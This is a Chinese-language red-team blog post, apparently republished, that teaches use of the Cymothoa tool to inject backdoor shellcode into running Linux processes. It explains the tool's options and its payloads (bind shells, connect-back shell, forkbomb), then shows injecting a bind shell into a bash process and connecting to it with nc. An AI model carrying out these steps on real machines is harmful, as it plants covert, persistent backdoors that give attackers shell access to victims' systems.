黑客(红队)攻防中cymothoa后门的利用

admin 2024年3月10日10:59:50评论16 views字数 2708阅读9分1秒阅读模式

前言:

  最近事情太多了过的也不是很顺心,所以就没有特别活跃,在忙自己的东西,公众号也没发东西好久了,师傅们多多担待!

正文:

cymothoa简介:

   Cymothoa是一款隐秘的后门工具,通过向目标主机上活跃的进程注入恶意代码来执行后门工作,这也反向说明了,实际上Cymothoa后门会拥有和原进程相同的权限,且Cymothoa是通过向系统进程注入shellcode去执行后门,所以不会像以前写过的许多后门一样创建自己的进程,这使得它的隐蔽性提高了很多。

   Cymothoa还提供了多种的攻击载荷,使得它存在很多类型的后门功能,Cymothoa后门对进程的包容性十分的广泛,基本能在常用的大部分进程中都能取得不错的效果,且还能与自启动或是其它开机自启的进程结合,从而实现持久化攻击的目的。

cymothoa的使用解析:

Cymothoa是基于ptrace库构建的,所以我多数是在Unix系统的渗透中会用到,当然在Windows上的效果实际也是不错的,只是因人而异。

Kali中有自带Cymothoa工具,也可前往以下地址下载:

https://sourceforge.net/projects/cymothoa/

输入cymothoa(注意区分大小写)即可打开,如果Kali中不带Cymothoa可输入指令下载:

apt update          # 更新软件包列表  apt install cymothoa  # 安装cymothoa

黑客(红队)攻防中cymothoa后门的利用

下载完毕后再次输入cymothoa即可启动/查看工具参数:

黑客(红队)攻防中cymothoa后门的利用

参数大致分为三类:

Main options | Injection options | Payload arguments

分别是:主要选项 | 注入选项 | Payload参数

各大类所对应的具体参数为:

主要选项(Main options):-p: 指定目标进程的PID(进程标识符)-s: 指定要注入的shellcode的编号-l: 指定用于shellcode注入的内存区域名称(默认为/lib/ld)-m: 指定用于持久性内存的内存区域名称(默认为/lib/ld)-h: 打印帮助屏幕-S: 列出可用的shellcodes注入选项(Injection options):-f: 在注入后fork父进程-F: 在注入后不fork父进程-b: 创建一个payload线程-B: 不创建payload线程-w: 传递持久性内存地址给payload-W: 不传递持久性内存地址给payload-a: 使用alarm调度器-A: 不使用alarm调度器-t: 使用setitimer调度器-T: 不使用setitimer调度器Payload参数(Payload arguments):-j: 设置定时器(秒)-k: 设置定时器(微秒)-x: 设置IP地址-y: 设置端口号-r: 设置第二个端口号-z: 设置用户名(4字节)-o: 设置密码(8字节)-c: 设置脚本代码

在参数解释中也给了三个分类的具体作用供我们参考,或是直接看这三类的名字我们也能大致知道一二:

注入选项(Injection options): 允许攻击者能更细致地控制注入过程。Payload参数(Payload arguments):这些选项允许用户设置payload的具体行为。

我们使用-S参数还能看到关于shellcode的分类:

黑客(红队)攻防中cymothoa后门的利用

具体作用为:

bind /bin/sh to the provided port将/bin/sh绑定到指定的端口上。需要-y参数来指定端口号。bind /bin/sh + fork() to the provided port与上一个类似,但在接受连接后会fork一个新的进程。同样需要-y参数。bind /bin/sh to tcp port with password authentication将/bin/sh绑定到TCP端口,并需要密码认证才能连接。需要-y指定端口和-o指定密码。/bin/sh connect back使/bin/sh连接回指定的IP和端口。需要-x指定IP和-y指定端口。tcp socket proxy创建一个TCP套接字代理。需要-x, -y, 和-r参数。script execution执行提供的脚本代码。这可能会创建一个临时文件,需要在使用后手动删除。forks an HTTP Server在TCP端口8800fork一个HTTP服务器。serial port busybox binding绑定到串行端口的busybox实例。这通常用于硬件攻击或特定场景的渗透测试。forkbomb一个简单的forkbomb,用于快速消耗系统资源。这主要用于演示或测试目的。open cd-rom loop无限循环地尝试打开CD-ROM驱动器。这主要用于恶作剧或测试系统的响应。audio (knock knock knock) via /dev/dsp通过/dev/dsp设备播放音频。这主要用于演示或引起注意。POC alarm() scheduled shellcode一个概念验证(Proof of Concept),使用alarm()函数调度的shellcode。POC setitimer() scheduled shellcode另一个概念验证,使用setitimer()函数调度的shellcode。alarm() backdoor使用alarm()函数创建的后门,绑定到指定端口并在接受连接时fork新进程。需要-j和-y参数。setitimer() tail follow使用setitimer()函数的tail跟随payload,通过UDP发送数据。需要-k, -x, 和-y参数。

cymothoa的使用过程:

在实战渗透的过程中,我们需要将此上传至目标机器中,Windows系统中需要将此工具编译成exe文件上传配合渗透。

在Kali中的位置:/usr/share/cymothoa/

黑客(红队)攻防中cymothoa后门的利用

可在此地址中打开终端打包文件:

黑客(红队)攻防中cymothoa后门的利用

黑客(红队)攻防中cymothoa后门的利用

黑客(红队)攻防中cymothoa后门的利用

也可在以下链接中下载:

https://sourceforge.net/projects/cymothoa/files/latest/download

黑客(红队)攻防中cymothoa后门的利用

我这边开个Ubuntu作为目标系统:

黑客(红队)攻防中cymothoa后门的利用

将工具上传并解压后输入ps查看进程:

黑客(红队)攻防中cymothoa后门的利用

选择bash进程作为目标,在实战中通常也是如此的:

./cymothoa -s 0 -p 2326 -y 5454

这条命令的作用是选择第0个Shellcode注入到进程2326中,5454为服务端口,一般于连接后门:

黑客(红队)攻防中cymothoa后门的利用

用nc工具直接连接即可,在Windows和Linux中都可以:

Nc -nvv xxx.xx.攻击机ip 5454

原文始发于微信公众号(flower安全):黑客(红队)攻防中cymothoa后门的利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月10日10:59:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   黑客(红队)攻防中cymothoa后门的利用https://cn-sec.com/archives/2563485.html

发表评论

匿名网友 填写信息